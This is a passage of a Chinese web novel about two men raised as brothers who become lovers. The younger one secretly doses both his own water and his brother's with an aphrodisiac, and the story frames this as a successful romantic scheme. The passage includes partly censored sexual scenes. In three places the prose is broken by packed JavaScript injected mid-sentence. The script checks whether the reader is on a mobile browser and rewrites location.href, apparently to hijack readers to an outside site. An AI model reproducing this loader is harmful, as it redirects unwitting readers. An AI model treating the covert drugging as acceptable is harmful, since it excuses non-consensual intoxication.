玻璃瓶很是坚固,装在瓷砖上也没碎,发出“当啷”一声响,圆柱瓶子慢慢滚到黛烬脚边。 黛烬被这声音吸引着转过身,恰好看到这瓶滚到脚边的水。 他捡起来,又扫了眼床头,确定这水就是黛燃方才拿给他的那瓶。 但是现在已经被喝掉一半了。 黛烬觉得奇怪。 这小孩儿怎么阴一阵阳一阵的?说好给他的水,自己却先给喝了,喝完还要耍脾气地丢掉。 生他气了? 黛烬拿着手机往黛燃身边走了几步,想拍拍黛燃的肩膀问他怎么回事,却没想到手刚放上去,黛燃就立刻转过脸看他。 黛烬被这反应吓了一跳,一见黛燃红的不正常的脸,更是吓得心脏都停了。 这时候还哪儿顾的上什么工作不工作,他手忙脚乱地挂掉电话,半蹲在黛燃面前查看情况。 他先把手贴在黛燃脸上试了试温度。 “黛燃你没事吧,脸红成这样,你哪里不舒服吗?是不是发烧了?” 黛燃刚清醒的理智,直接被这半瓶药冲得一干二净。 火上浇油。 还没等他再想办法补救,他哥的身体就猝不及防地出现在眼前,还将手贴在他脸上,他听不清他哥在说什么。 他等不起了。 再等下去,他就藏不住了。 黛燃身体已经软到站不起来,黛烬就在他眼前,身体晃来晃去的。 黛烬看黛燃越来越不对的状态,也不说话,整个人像是直接烧糊涂了,心下不免更着急。 手已经感觉不出来温度,黛烬打算像他妈从前对他那样,想用额头试试温度。 黛烬的额头刚贴过去,黛燃的身体都跟着抖了下。 还没等黛烬反应过来,黛燃已经伸手环住他的脖颈,将整个身体都贴了过来,滚烫的呼吸贴在他耳侧快一下慢一下地吹。 黛烬没想那么多,见黛燃倒在他身上,他又连忙用手贴着黛燃的背摸摸,发现黛燃全身都烫得吓人。 坏了,怕是真发烧了。 他不再等待,二话不说就要拉着黛燃去医院。 “黛燃你再坚持一下,我们现在就去医院。” 见黛燃一动不动,黛烬也有点慌了,下意识先将人打横抱起准备往外走,还没走两步,怀里的黛燃却忽然有了动作。 不是挣扎,更不是顺从。 黛燃被他抱着,手臂环在他脖颈上,却在这个时候抬起脸,凑近在他的唇边亲了一口。 黛烬傻了。 他站在原地呆了足足半分钟,才慢半拍反应过来黛燃刚才做了什么。 “我艹,黛燃你做什么?” 黛燃现在根本听不得黛烬说话,只觉得全身都像是被一把火点燃,熊熊烈火从头烧到底,烧得他理智全无。 还没等他哥继续骂他,他就不再隐藏,连说话都没力气,却努力做到字字清晰。 “哥,你和我在一起好不好?” 黛烬完全没往别处想,以为黛燃还在纠结昨天的事情,希望自己一辈子做他哥,有点烦躁,但还是答应下来。 “不是都答应你了,做你哥做到死吗。” 黛燃闻言却不停摇头。 他后悔了。 “黛烬,我不要你做我哥了。” 他边说边急着又要去亲黛烬。 “黛烬,我们不做兄弟好不好?” 黛烬以为他烧糊涂了,但他两只手都用来抱人,根本腾不出手制止黛燃过界的举动,只得偏过头挣扎,用言语呵斥。 “你说话就说话,不做就不做呗,你别乱来,我先送你去医院。” 嘴上说不做兄弟,黛燃却已经喊哥喊成了习惯,连告白都戒不掉。 “哥,我喜欢你,不是兄弟的那种喜欢,是想和哥在一起一辈子的那种喜欢。” 黛烬挣扎的动作都停了,整个世界开始天崩地裂。 什么意思? 我喜欢你什么意思? 我草黛燃说我喜欢你什么意思? “我□你喜欢我?我他妈是你哥!” “好,嗯,我知道。” 黛烬听他回答了三个答案,脑子里混乱又紧绷。 他不就说了两句话吗?这也对不上数啊。 黛烬快速回忆了自己说的话,一懵,脸“腾”的一下就红了,没想到黛燃居然敢把他的两句话拆成三句去回答。 (我□你|喜欢我?|我他妈是你哥!) (好,嗯,我知道。) 这种话由黛燃对他说出来,黛烬顿感世界观崩塌,又开始口不择言起来。 “我□你爸的,你说的那什么玩意儿?” 黛燃却拒绝了这个提议。 “不要恨我爸,这样不好,爱我吧,哥哥。” 黛烬听了真想把自己耳朵堵起来,觉得自己该有个哥哥的样子,只好假装听不懂,训斥听着很懂的黛燃。 “谁教你的这些东西?” 黛燃实话实说。 “我去找了点片子看。” 他说了这话还不算完,又将话的矛头指向黛烬。 “还得多亏了哥,我活了十八年才发现自己原来是gay,也和哥一样喜欢男人。” 黛烬刹那间失去所有反抗的力气,满脑子都是完了完了完了完了。 临家二房可就这一个宝贝独生子,改姓可能是黛燃临时起意说气话,人家血缘摆在那儿,黛燃玩够了迟早会回去。 他妈说的也对,他们家和临家完全是两个世界的人,不要有任何牵扯才好。 但是现在,他这算不算是直接把人掰弯了? 断子绝孙…… 造孽啊造孽! 他当初嘴怎么就这么欠! 黛烬独自崩溃,视线到处乱瞟,这才发现不知道什么时候,自己衣服扣子都被黛燃趁乱解开好几颗。 他马上还要带黛燃去医院,现在这样看着像什么样子! 黛烬连忙把黛燃放回床上,自己把扣子重新系回去。 还没系上一颗,躺上床的黛燃就重新撑着身体去拉黛烬,黛烬没防备,直接被这力道一起拉倒在床上。 黛燃做事情从不拖泥带水,把人拉倒后便一刻不停地往黛烬身上爬。 黛烬见状忙不迭要起身,刚坐到床边还没站起来,黛燃已经爬到他身边,腿上猝不及防传来一道压力。 黛燃坐上来了。 黛烬脑子还是蒙圈的,觉得自己的动作慢得像乌龟,又觉得黛燃像只抓不住的兔子,龟兔赛跑,黛燃已经跑在他前面好多。 思及此,他终于抬头看黛燃。 就见黛燃不知道什么时候已经将自己脱得干净,上衣只穿了里面的衬衫,下身连一条看得见的裤子都没有。 他下意识往黛燃身下看了眼,看完就立马闭上眼睛,本来只是脸红,现在整个脖子都跟着变得又红又烫。 “你还敢对着我硬,你他妈——” 黛燃却一脸无辜。 “看着哥哥就硬了。” 黛烬差点气得背过去,话都被怒气截得断断续续。 “这都什么话,你,你怎么敢说出来的?” 黛燃又把衬衫往上拉了拉,把腰露出来半截,看起来连衬衫都不准备穿了。 “片子上都是这么演的,我哪里学得不好吗?” 黛烬快疯了。 还敢问他“哪里学得不好”? 黛烬按住黛燃要继续脱衣服的手,手忙脚乱地掀被子,直接将黛燃整个下半身包起来,自己也趁机往旁边闪开点距离。 平常勾肩搭背的他没当回事,可现在但凡多和黛燃有一点肢体接触,他都被刺激得浑身起鸡皮疙瘩。 两个人挨着坐,黛燃不愿意坐远点,黛烬也实在不敢在这个时候将人抱走,生怕黛燃又做出什么不可挽回的事情。 黛烬话都说得磕磕巴巴的。 “你,你先把衣服穿好,我去打个救护车送你去医院。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531622|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黛燃却裹着被子又往黛烬身边靠。 “我不去,我没发烧。” 碰到黛烬后他便把身上碍事的被子掀开,不等黛烬反抗,几步重新坐回黛烬腿上,又环住黛烬的脖颈往他怀里贴。 黛烬侧过脸,强行转移话题,话都说得结结巴巴的。 “你,你到底看的什么片子啊?” “忘了。” 黛烬想扭头骂人,又不敢扭头看,只得独自面壁思过。 “黛燃你成年了,要实在喜欢男人,哥,哥也不拦着你,只要你自己想清楚了,哥支持你去寻找真爱,找个像样的男人也行。” 黛燃抱着黛烬不撒手,还嫌不够似的,又将脸贴在黛烬锁骨前。 “哥,我不要别的男人。” 黛烬吓得都不敢呼吸了,感受着锁骨处传来的温度,喉结上下滚动。 他知道,那是黛燃在对着他喘气。 那温度越靠越近,黛烬脑内下意识脑补自己看过的小电影,预感到黛燃想做什么,闭着眼将人推远。 “你别靠我那么近!” 他眼睛闭着看不见,手却不小心按到黛燃胸前,感受着掌心处碰到的凸起,他像是被烫到手一般,快速缩了回来。 只听黛燃闷哼一声,黛烬也跟着打了个寒颤,异样的感觉从尾椎骨开始,鬼一样往上窜! 他受不了了。 “黛燃!你喜欢什么样的人告诉哥,哥帮你找可以吗?哥帮你找!只要别太贵,哥出钱,哥出钱帮你去泡人!” 黛燃的语气听起来却很不满意。 “我喜欢身材好的。” 黛烬又咽了咽口水,要什么给什么。 “好,哥帮你找个身材好的,健身教练?不行给你找个运动员可以吗?” 黛燃叹了口气。 “哥,你怎么就是不明白?我不要他们,我更喜欢你这样的薄肌。” 黛烬崩溃了。 “说你喜欢薄肌就可以了,别带上你哥当前缀可以吗?” “不可以,我就是喜欢哥哥啊,哥是薄肌我才喜欢,哥不是,我就不喜欢薄肌了。” “不是,你怎么就非得喜欢我啊?” 黛燃也不演了,直接把醉酒那天听到的话坦白说出来。 “就允许你喜欢我,不允许我喜欢你?哥哥,这什么道理?” 黛烬用话一层层垒起铜墙铁壁,黛燃屡屡碰壁,却不气馁地凿壁偷光。 黛燃的神色依旧认真,他说话从来不开玩笑。 “而且没人会不喜欢哥哥啊。” 黛烬忽然哑火了。 黛燃好像连他在乎的东西都摸得彻彻底底,知道什么话最能打动他。 欲望于他而言,其实算不上什么低级的东西,不至于被批判。 食色性也,人之常情。 但他的爱,或者说他这种人的爱,也实在高级不到哪里去就是了。 不过黛烬没吃过什么好的,喜欢的东西,不分高低贵贱。 直白点来说。 有人说想上他,他理解,却没办法不生气。 但有人说爱他,他不理解,却没办法不爱回去。 就算他的爱再不值钱,他也没办法不把所有的爱全部掏出来。 双膝跪地,双手奉上。 面对黛燃一次比一次激烈的攻势,黛烬哪怕是铜墙铁壁,都能被一下一下凿成断壁残垣,连称呼都软了下去。 “燃燃……” 黛燃继续穷追猛打。 “哥很好,哥那么好,好到很多人都喜欢哥哥,我也是。而且我是喜欢哥哥的人里面,最喜欢哥哥的那个。” 他说出的每句话都像个结实的小锤子,一锤又一锤,全部锤在好不容易被凿开的口子上,锤得黛烬鲜血淋漓。 “我最喜欢哥哥,所以哥哥也喜欢我好不好?” 黛烬孤零零地站在断壁后,被一句又一句“哥很好”和“最喜欢哥”锤得丢盔卸甲,未语泪先流。 他其实不喜欢被人喜欢。 还是那句话,喜欢就意味着有牵挂。 最后无论是谁先放手,都总要以伤害另一个人为代价。 但他承认,他也不讨厌被人喜欢。 谁不想被爱? 就算爱是饮鸩止渴,是凿壁偷光,也总会有人上赶着被毒死,上赶着累死在凿墙的路上。 但那个爱他的人是谁都行,唯独不能是这个宝贝弟弟。 黛燃有这样好的出身,好的性格,好的成绩,以后做什么都是注定要被人仰望的,和他不一样。 黛燃是栋梁之材,是人中龙凤,怎么能和他这种一事无成的人扯上关系? 那不废了吗? 黛燃的药劲儿起来了,只觉得全身都像是在被火炙烤一般,意识模糊得厉害,他一鼓作气,把想要的全都说出来。 “我好难受,哥帮帮我,好不好?” 17. 【燃】关灯 把“帮帮我”和“好不好”连在一起说,还多少有点请求的意思在。 但要是把两者分开说,前者就成了命令,后者成了执行命令的甜蜜圈套,诱哄的话勾得人魂牵梦绕。 黛烬也不标榜自己是什么谦谦君子,还得辛苦地克己守礼,论他私底下看的小电影,绝对比黛燃吃的饭还多。 但论实战。 没经验就是没经验。 黛燃不愿意穿衣服,黛烬便将光着身体的弟弟打横抱起,小心翼翼地放进被窝。 在黛燃充满希望的眼神里,黛烬亲手关灯,又将房间里所有窗帘都一并拉起。 黛烬心里只装着黛燃一个人,现在光亮熄灭,他的心就跟着关了灯。 怕黛燃不穿衣服会着凉,黛燃睡下后他便在黛燃身边躺下,又帮人重新拉好被子,将黛燃头以下的身体全都盖得严严实实。 这张床很大,躺下两个人绰绰有余。 昏暗的室内,谁的表情都看不清,黛燃不知道黛烬有什么反应,只能听到身旁传来的声音,比平常听着脆弱很多。 又沉又闷。 “黛燃,你脑子不清醒,不要随便做这种荒唐的决定,说这种荒唐的话,不然第二天起早就得崩溃。” 黛燃很清醒。 他闻言就要挣扎,却发现自己双手不知何时全都已经被黛烬包进被窝里,挣不开,黛烬从被子外面抱着他。 但是从他喝下.药水开始,已经过去快半小时,黛燃快要撑不住了。 “哥,你也不喜欢我吗?” 这个问题,黛烬不用思考就能回答。 “没有。” “那哥就是喜欢我。” 这个问题,黛烬思考了也答不上来。 “我——” 黛燃勉强压制住体内的躁动,强撑着精神替他答。 “这个问题就只有‘是’和‘不是’两种回答,你拒绝了其中一个,就只能承认另外一个。” 见黛烬还是无动于衷,黛燃气得继续给问题加负重。 “哥,我对你来说就这么没吸引力吗?” 黛燃越说越难过。 “我是没用的人吗?” 黛烬终于不再沉默。 “燃燃是最有用的人。” 黛燃马上追问! “那哥为什么不喜欢——” “但哥是没用的人。” “哥不是!” 君子动口不动手。 但黛烬不是什么君子,黛燃也就跟着不想当君子了。 他在被窝里拱了拱,黛烬抱着他,黛燃的手伸不出去,却可以左右乱摸。 他挨着黛烬的方向摸,这个角度正好可以摸到他哥的侧腰,不确定是什么位置,他就顺着一通摸索。 只一瞬间,黛烬就忽然松开了桎梏住他的手。 黛燃看准机会,挣开被子,长腿一伸直接跨坐在黛烬身上。 真正坐上去的那一刻,他才意识到他哥在撒谎,黛烬的身体可比他的嘴老实得多。 黛燃又惊又喜,心比嘴还着急。 “哥你骗人!” 现在正值中午,即便黛烬将窗帘全部拉上,也根本遮不住室外所有倾泻进来的光,黛烬借着光勉强看清黛燃的动作。 见黛燃又想乱来,他连忙眼疾手快地按住。 刚按住黛燃一只手,黛燃另一只手又继续接力作祟。 他一手一个,最后把黛燃两只手合在一起,一手握住两手的手腕,把黛燃禁锢在自己身前。 黛烬躺着,黛燃坐在他身上。 黛烬喘了口气,被逼得实在没办法了。 “黛燃你,你别闹了,算哥求你。” 黛燃却不依不饶。 “我已经成年了!哥你,你喜欢我,你明明就是喜欢我的!你对我有反应,为什么就是不愿意?” 黛烬咬牙反驳。 “喜欢不代表就得在一起,更不代表能随便发生关系。” 黛燃边扭动身体,边奋力挣脱黛烬的手,黛烬却越捏越紧,捏得他手腕生疼,身上又实在没力气,他只得暂时放弃。 见挣扎无果,黛燃急得不行。 “可是视频里就是这样拍的,哥,哥哥!” 各种情绪,再加上控制不住的身体反应混在一起,黛燃等了太久,难受得差点要哭出来了。 “我好难受。” 黛烬一手控制住黛燃,空出一只手,他闭了闭眼,破罐子破摔地勾住黛燃的脖颈往自己的方向拉,他也负重做卷腹。 一个往下一个往上,两人接了个吻。 蜻蜓点水。 黛燃愣愣得被亲,没想到和他哥接吻这么舒服。 唇瓣勉强分开,眼泪却还挂在睫毛上,他抿抿唇,开心了一会儿,又俯身想主动亲黛烬。 黛烬却偏头躲开了。 还没等黛燃又闹脾气,黛烬忽然带着黛燃翻身。 这次换黛燃躺着,黛烬一手将他两手举过头顶,按在床头动弹不得。 黛烬喘着粗气,脑子乱得像热锅里炒了盘蚂蚁。 他以前从没觉得自己是个这么好说话的人,可自打遇到黛燃后,他就总是在不停退步让步,好如了黛燃的意。 底线一退再退,黛烬发现自己居然还能退。 □□□□□□□□□□□ 作者没保住的段落,删减 □□□□□□□□□□□ “但是我想要哥!” 黛烬再也憋不住,把心里话一口气说了出来。 “但是哥喜欢你!” 两人都被这短短一句话说得地动山摇,黛燃被猝不及防的惊喜打蒙了,连带着动作都乖了不少。 黛烬垂下头摇了摇。 “哥没办法毁了你。” 这句话又说到黛燃的“兵家必争之地”了,他马上就要反驳! “哥,我——” 黛燃正要继续穷追猛打,□□却忽然被黛烬握住,刚出口的调子蓦地改道。 “哥——” 黛烬见终于重新掌控住不受控制的局面,舒了口气,黛燃看不见黛烬的表情,黛烬却能听清黛燃每一声沉重的喘息。 “哥哥——” “好喜欢哥哥。” 黛烬又哭又笑,心里像吃了溜溜梅似的,酸得揪心,又甜得腻人。 反正灯已经被关掉了,看不见就等于留不下证据,黛烬终于在黑暗里吐露心声。 “哥也最喜欢燃燃。” * 不管是亲吻还是其他,只要是黛烬给他的,黛燃照单全收。 但他心里清楚,这药可没这么容易就能解。 不过计划要一步一步走。 黛烬也逐渐发现了不对,黛燃的声音越来越小,身上却越来越烫。 “燃燃,你身上好烫。” “嗯。” “你真没发烧吗?” 黛燃在黑暗里重新睁开眼睛。 时机到了。 是时候让哥哥知道真相了。 他双手攀住黛烬的脖颈往下拉,在黛烬耳边轻声说了句话。 黛烬的脑子轰得一下炸了。 “你他妈给自己下.药?!” 黛烬难以置信。 “你买解药了吗?” 黛燃实话实说。 “买了。” “在哪儿?” 黛燃嘴闭得紧紧的,一副任人拷打都死不松口的样子。 黛烬看他难.受的样子又气又急。 “你说不说?” 黛燃依旧闭嘴,摇头。 黛烬看他闭嘴的样子就生气,黛燃发|泄过,黛烬空出来的手脏了。 他只能松开捏住黛燃手腕的手,用这只干净的手捧住黛燃的脸,亲自撬开黛燃的嘴。 黛燃满意地被亲。 他哥又亲他了。 计划成功。 黛燃失去禁锢,终于把自己从视频上学来的技巧一股脑往他哥身上使,一双手解开黛烬的衣服就到处摸。 他才不告诉他哥解药在哪儿。 他要他哥做他的解药。 黛燃越亲越着急,拉着黛烬的身体就往自己身上贴。 他才不在意什么体位,对付他哥这种人,屈居人下才是最好的破局之法。 反正只要能和他哥在一起,谁上谁下又有什么所谓? 相反,要是他今天冲动直接把他哥强|上|了,那才是真正的完蛋。 但要是他哥把他|上|了…… 黛燃眼睫眨动。 那以他哥的性子,怕是这辈子都不会放开他了。 两人吻得难舍难分,两个没经验的人缠在一起,边犯错边改正,连错误都让人回味。 不知道谁的唇瓣先被咬破,铁锈味的血丝混着情|欲流得到处都是。 情到深处,黛烬忽然撤身。 两人面贴面,额头抵在一起,喘息声从唇边一直打到耳朵里。 黛烬又问了一遍。 “解药在哪儿?” 黛燃快被气死了,想不到这种时候黛烬都不松口。 黛烬却不再给他反抗的机会,嗓音里带着少见的严厉。 “黛燃,我最后一遍问你,解药在哪儿?” 黛燃脾气也上来了。 “我就不告诉你你能怎样?不想我死,是个男人你就把我|上|了!” 黛烬却没被这话激怒,反而急中生智。 “你回来以后就只喝过水,以你的谨慎,肯定不会提前对自己动手,风险太大,所以你把东西下在水里了,我猜的对吗?” 黛燃有点意外,没想到黛烬猜的这么快,他只沉默片刻,黛烬便当即了然,立马接着往下猜。 “你也给我拿了一瓶开过盖子的,给我的那瓶,不会也下了东西吧?” 黛燃心虚地咽了咽口水,黛烬蹙眉厉声呵斥。 “黛燃你胆子真是大了!下|药这种事情都敢做,说话!” 黛燃还是闭着嘴,但赶在黛烬真的发火前还是点了头承认。 黛烬得到答案,立马松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有了水,他又找来个提前用开水消过毒的玻璃杯,把一整袋解药撕开倒进去,冲了半杯水,又用袋子里附赠的食品筷子搅水加快解药溶解。 可药劲儿来得太快,黛烬握筷子的手都在发抖,只得咬住下唇硬撑。 黛燃将一切看在眼里,只能在旁边干着急,悔恨得快要|死|掉了。 药很快化开,黛烬却没喝,反而先塞进黛燃手里。 “你先喝。” 黛燃刚止住的泪水又开始往外流,他接过杯子就往黛烬嘴边递。 “哥我已经好多了,你一口气喝太多了,你先把解药喝掉好不好?你再不喝解药你身体受不住的!” 黛烬这次没浪费时间和他拉扯,直接就着黛燃的手,将泡了解药的水喝下去一大口。 黛燃看黛烬喝了解药,终于松了口气,颤颤巍巍地张嘴小声喘息。 可还没等他缓过神,眼前就忽然一黑,黛烬重新按住他的后颈往前拉,两人再次续上了那个吻。 黛燃睁大了眼睛,拼命挣扎。 原来黛烬根本没喝下去,而是含着解药喂给了他。 黛烬边吻边将掺着解药的水往黛燃嘴里送,黛燃想躲,黛烬却用另一只手揽住黛燃的腰,将黛燃整个人扣在自己怀里。 黛燃现在真是没什么力气了,逃不掉,只得被黛烬强硬地撬开唇舌,含着解药小口往下吞。 解药是甜的,泪水是咸的,泪水顺着脸颊滑进解药里。 又甜又咸。 他买这解药花了不少钱,一口解药喝进去,身体马上就有了转好的迹象。 嘴里没了药水,黛烬终于松开控制黛燃的手,盯着黛燃手里剩下的半杯水不说话。 黛燃立马看懂了黛烬的意思,不再犹豫,几口就将剩下的解药水饮尽。 他拿着喝完的空杯子冲到桌边,撕开一包新的解药,倒水,学着黛烬的样子搅一搅,递到他哥手里。 黛烬不再折磨自己,终于喝了药。 感受着身体里的浴|火被逐渐浇熄,两人相顾无言。 黛烬放下杯子,视线移到黛燃脚下,看他没穿鞋,又将人抱起往床上走。 看着黛烬严肃的脸,黛燃不敢说话,只抱着黛烬的脖子,小心翼翼地往他身上靠。 黛烬重新将弟弟放回被窝里,自己也躺进去,盖好被子。 躺在被窝里的黛燃试探着又想吻黛烬,黛烬没拒绝,却默默把黛燃的身体抱得紧紧的。 两人贴得越来越紧,黛燃终于感受到了黛烬发着抖的身体。 卧室里依旧没开灯,黛燃看不清黛烬的脸,却又在这个吻里尝到了咸味。 他没哭,是哥哥哭了。 黛燃直到此刻才恍然大悟,原来他哥冷脸不是在生气,而是在害怕。 黛烬怕得声音都在抖。 “燃燃,哥已经没有几个家人了。” 黛烬越抖越明显。 “哥不能再失去你了。” 18. 【烬】回家 “哥,我们私奔吧。” “?刚在一起,就得干这么刺激的事情吗?” 黛燃从被窝里抱住黛烬,沉默了一会儿,忽然说了句话。 “可是我想回家。” 闻言,黛烬的笑容刹那间烟消云散,他也沉默一会儿,然后不信邪似的又确认一遍。 “回哪儿?七八区吗?” “嗯。” 确认了。 黛烬咽了咽口水,又扯扯被子,把怀里的黛燃抱得更严实。 除了他妈以外,第一次有人把他在的地方,叫做家。 “好。” 黛燃下|药没成功,但目的达成。 黛烬和他在一起了。 两人当天中午从酒店里出来,下午就一起坐上了回七八区的高铁。 这次上车,黛烬不再和黛燃争谁先谁后,只要他手里牵着黛燃,走在前面还是后面都无所谓。 黛燃用个人信息登录购票软件,刷新一下就看到了新的车票订单。 他脸上还有点没褪下去的红晕,黛烬便特意给他找了个口罩带上。 黛燃本来无拘无束的声音,现在经过口罩粗略地过滤一道后,也被迫带上了些去不掉的沉闷。 “哥,你定的是一等座啊?” 黛烬没牵着黛燃的手背在身后,指尖焦虑地捏来扣去,他不擅长说谎,一紧张就小动作不停。 “嗯,我买票的时候太晚了,商务座已经售罄了。” 黛燃没注意到黛烬的小动作,他把车票信息调出来仔细核对一遍,边看边和黛烬说话,他想和他哥多说说话。 “我还是第一次坐一等座。” 黛烬牵着人找座位。 “也挺不错的,你先将就一下,下次我们再出来,哥再给你买商务座。” 黛燃被牵着走,自己也对着车票信息以免找错位置,他没听出这话有什么不对,他们要回家了,他比来时还要高兴。 “谢谢哥。” 黛烬不想再聊这个话题,他很少撒谎,最怕露馅,快速带黛燃找到了座位后他便拉着人坐下,主动开了个新话头。 “你以后,就别叫我哥了吧?” 这次换黛燃坐在靠车窗的位置,他第一次坐一等座,坐下后就好奇地四处打量,看完环境,又看黛烬。 “我有点习惯了,哥不喜欢吗?” “倒也不是。” 两人的位置是挨在一起的,黛燃又往黛烬坐的方向挪了挪,整个身体也跟着倾过来,周围坐了其他人,怕被别人听到,黛燃几乎是贴着黛烬的耳朵小声说话。 “一个称呼而已,反正我现在不把你当哥哥,哥心里知道不就好了?” 情侣刚在一起都是蜜里调油,两人一聊天就要擦枪走火,黛烬又想打嘴,他闲的没事非要提这个干吗? 自讨苦吃。 黛烬把牵着黛燃的手珍惜地放进怀里,如果吃点苦就能换来黛燃和他在一起,那他觉得这份苦是他应得的。 甘之如饴。 两人旁若无人地凑在一起说话,亲昵的动作和藏不住的甜蜜,哪怕是路过的陌生人都能一眼看出他们是什么关系。 但联盟允许同性婚姻登记,政策允许,周围的人也就见怪不怪了。 黛烬心疼地用手摸了摸黛燃的脖颈,用掌心感受着黛燃的体温,又试了试自己的,两相对比着看有没有降到正常值。 每个人的体质不一样,黛燃给他下的东西,他喝下解药过会儿就没事儿了,黛燃自己却反而受了不少罪,直到出酒店的时候身体还是滚烫的。 黛烬摸完脖颈又摸摸黛燃的脸。 “还难受吗?” 黛燃摇头。 “不难受。” 黛烬像是想到什么,忽然从包里拿出瓶水递到黛燃面前。 “要喝点水吗?” 黛燃慢吞吞地接过来,看到上面山泉水的标签都不敢抬头。 “哥,讲真的,我现在已经对这水有阴影了。” 黛烬自己反倒笑出声,他拿回水,给黛燃拧开瓶盖后才递回去。 “该有阴影的明明应该是我好吗?你快吓死你哥了。” “哥还没原谅我啊?” “我们之间谈什么原不原谅的。” 黛烬也和黛燃一起低着头,两个人比着后悔。 “哥只是有点后悔。” “后悔什么?” “后悔没能早点察觉到你的心意。” 黛烬紧了紧两人十指相扣的手。 “哥比你大几岁,告白这种事情,应该是哥来说的。” “哥以后多和我说就好了。” 黛烬认真点头,郑重承诺。 “好。” * 【dj】:好 黛烬回黛燃消息回得快,一个“好”字,不到一秒就能几下敲出来。 他打完字就放下手机继续处理工作,客服的工作都是断断续续的,他得空就把手机拿出来看看。 黛烬今天是白班,快到下班的时间点了,手头上不忙,他第N次在上班时间拿起手机,解锁点开置顶看消息。 黛燃还是没回他,消息停留在他最后发送的那个“好”字上。 【dr】:哥我有点事出去了,晚点我自己回去 【dj】:好 黛烬心烦气躁,心中又隐隐发慌。 他们下午刚从二三区回来,黛燃却从回到家后便借口离开,人消失了三个小时,却只给他发来这一条消息。 黛烬晚上还要按照和他妈说好的回家一趟,他本来想带黛燃一起回去,现在看来怕是难了。 他又看了眼时间。 从他家到他妈家路程不短,再不走就真没时间了。 电脑的消息提示音连续响了两声,黛烬下意识抬头去看,发现是来交班的同事发的。 他马上放下手机,把早已准备好,需要对接的工作消息发过去。 手上忙工作,心里还不忘一心二用。 还是他自己回去吧,大不了早点回来,去看一眼他妈他就回家陪黛燃。 黛烬这样想着,交代完工作便不再等待,他简单收拾了一下,拿好钥匙锁上门便匆匆离开。 早去早回。 天不遂人愿,没成想他前脚刚坐上公交车,后脚黛燃便坐下一班车回到家里。 阴差阳错。 黛烬这边刚下公交车,就收到了黛燃发来的新消息。 【dr】:哥,我提前回家了 【dr】:没看到你 黛烬正站在路边,看到消息人都傻了,心里暗骂一句小兔崽子。 【dj】:? 【dj】:提前回来这么大的事情你不早说 黛烬随口抱怨一句又连忙解释起来。 【dj】:我回一趟我妈家里,你在家等我,我很快回来 黛燃看起来应该是真的回家了,消息回得很快。 【dr】:哥晚上还回家吗 黛烬看得心里蓦地一软,靠在路边的电线杆上打字回复。 【dj】:回,给我留盏灯吧 黛烬打完字点击发送,看着自己的消息弹出去,他的手指却悬在空白的输入栏上方堪堪停住。 他本想追加一条新消息,问问黛燃要不要和他一起回家。 但手机聊天看不到聊天对象的脸,他没办法确定黛燃是愿意还是勉强,想想最后还是放弃了。 算了,他早点回家就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531624|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【dj】:你要是困了就先睡,我带钥匙了,不用等我 【dr】:我等哥回家 黛烬看到这句,整个下午积攒起来的疲惫都一扫而空。 现在社会普通人压力大,虽有联盟的基础补贴,但独身主义者依旧越来越多,他从前也是其中一员,坚定的不婚主义。 但此时此刻的黛烬不由感叹。 怪不得还是有人想结婚,要是换成现在的他,他也愿意。 要是黛燃也愿意就好了。 这个念头下意识从心底浮上来,吓了还在神游的黛烬一跳,傍晚的冷风刮过,毫不留情地将人的美梦吹醒。 黛烬好像非得靠着身后的杆子才能勉强站直身体一样,回过神来他才想起指责自己。 他也太贪心了。 黛燃要什么有什么,谈个恋爱还成,要是真和人结婚,他得给人带去多大麻烦? 他连黛燃表哥那一关都过不去,更别提黛燃家里的长辈了。 其实别说是黛燃家里的长辈,他家里长辈的那一关,他都不一定过得去。 他妈要是知道他和黛燃在一起了,不知道要作何表情。 黛烬独自在冷风中站了一会儿,等心全都被吹凉,才认命地往公交站台走去。 这个点大部分人早已各回各家,站台等车的人寥寥无几。 但好处也是有的。 黛烬有位置坐了。 他坐在站台下的浅椅上,等车闲来无事,他又把手机打开,点开备忘录里记录的家庭收支簿。 他可以等生活,但生活却不等人。 黛燃来的这俩月,黛烬手头上的存款堪称断崖式下跌,下跌到他都不得不怀疑是不是有人耍阴招偷他钱。 黛烬在心底肯定。 肯定是这样,不然他为什么连两张高铁商务座都买不起? 看来只找一份工作不行了。 盼什么来什么。 黛烬还没等到车,电话却先响起,他看了眼备注面色一喜,马上接起来。 “是黛烬先生吗?” “是我。” 黛烬刚说完,他回老家要坐的那班车便到站停车,司机闪了闪车灯。 两个机会同时闪现在他面前。 电话那段的人语带迟疑。 “您的简历我们看过了,老实说,您原本不在我们公司的考虑范围之内。” 黛烬举着手机的动作一愣,还没来得及失望,就听对面的人大发善心捞了他一把。 “但是今天公司这边临时缺人,找了好几个应聘的都说不方便,当然我们也可以理解,毕竟今天大年初一,不方便是应该的。 不过我们还是抱着希望给您也打了这个电话,如果您愿意到岗,我们可以破格给您一个机会,您看您方便来——” 